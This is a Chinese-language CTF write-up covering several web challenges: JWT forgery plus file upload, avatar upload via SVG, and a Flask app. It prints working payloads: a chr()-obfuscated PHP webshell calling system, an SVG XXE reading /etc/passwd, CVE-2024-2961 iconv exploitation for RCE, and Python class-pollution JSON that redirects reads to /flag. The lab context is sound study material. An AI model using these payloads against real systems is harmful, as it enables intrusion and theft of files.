本文最后更新于 2026年5月1日 晚上
当时做的时候大部分题都是用ai做的,没学到什么东西,但是题目质量还是很高的,看到平台上有复现环境了,决定不用agent自己做一遍
only real
非预期
直接看/flag.php就行
revenge
jwt爆破密钥伪造admin之后就可以上传图片,后端对文件类型没有校验,直接抓包修改文件后缀名,文件内容有WAF,我们使用ascii🐎
1 2 3 4 5 6 7 8
| <?= $func=chr(115).chr(121).chr(115).chr(116).chr(101).chr(109); $cmd=''; $cmd_chars=[99, 97, 116, 32, 47, 102, 108, 97, 103]; foreach($cmd_chars as $ascii){ $cmd.=chr($ascii); } @$func($cmd);
|
头像上传器
一个上传头像的页面,白名单的后缀校验,并且文件重命名,不好绕过
头像的位置有渲染但不是文件包含,支持的格式有svg,尝试一下svg xxe
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <svg xmlns="http://www.w3.org/2000/svg"> <text>&xxe;</text> </svg>
|
但是要实现RCE执行/readflag,这里需要打CVE-2024-2961
事实上,CVE-2024-2961 的 sink 点不在于文件包含,而在于 php 伪协议。基本原理是利用 php 伪协议调用 iconv 函数,通过字符集 ISO-2022-CN-EXT 的特性将三字节字符解码为四字节,从而造成缓冲区的溢出。
如果能够配合可读取的文件,就能获取到 PHP 堆地址和 libc,然后得到 system 函数的地址打 rce
这里还是老方法,读map,libc然后用脚本生成链子,但是svg上传之后解析会报错
php://filter 是作为外部实体的 SYSTEM 标识符传入 DOMDocument::load(),因此它首先要经过 libxml 的 URI 解析,而不是直接进入 PHP 用户态流处理。| 在这种 URI 语境下不属于稳定、规范的路径分隔字符,容易在外部实体解析阶段被拒绝、归一化或导致后续路径解释异常,从而使整条 filter chain 无法原样传递给底层 stream wrapper。因此需要改用 /,让 payload 同时满足 URI 语法和 php://filter 的路径式解析规则。
好吧,我们改一下格式,并且不url编码
1
| /readflag > /var/www/html/uploads/1.txt
|
这个题最终未解决的点就是用kezibei师傅的脚本最终只能在uploads目录下写文件,并且没法直接访问,必须curl才能出结果
但是网上改的cnext脚本是可以实现任意写文件的
ez_python
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| from flask import Flask, request import json
app = Flask(__name__)
def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
class Config: def __init__(self): self.filename = "app.py"
class Polaris: def __init__(self): self.config = Config()
instance = Polaris()
@app.route('/', methods=['GET', 'POST']) def index(): if request.data: merge(json.loads(request.data), instance) return "Welcome to Polaris CTF"
@app.route('/read') def read(): return open(instance.config.filename).read()
@app.route('/src') def src(): return open(__file__).read()
if __name__ == '__main__': app.run(host='0.0.0.0', port=5000, debug=False)
|
非常简单的一个python原型链污染,可以污染filename也可以污染全局变量
1
| {"config":{"filename":"/flag"}}
|
1
| {"__init__":{"__globals__":{"__file__":"/flag"}}}
|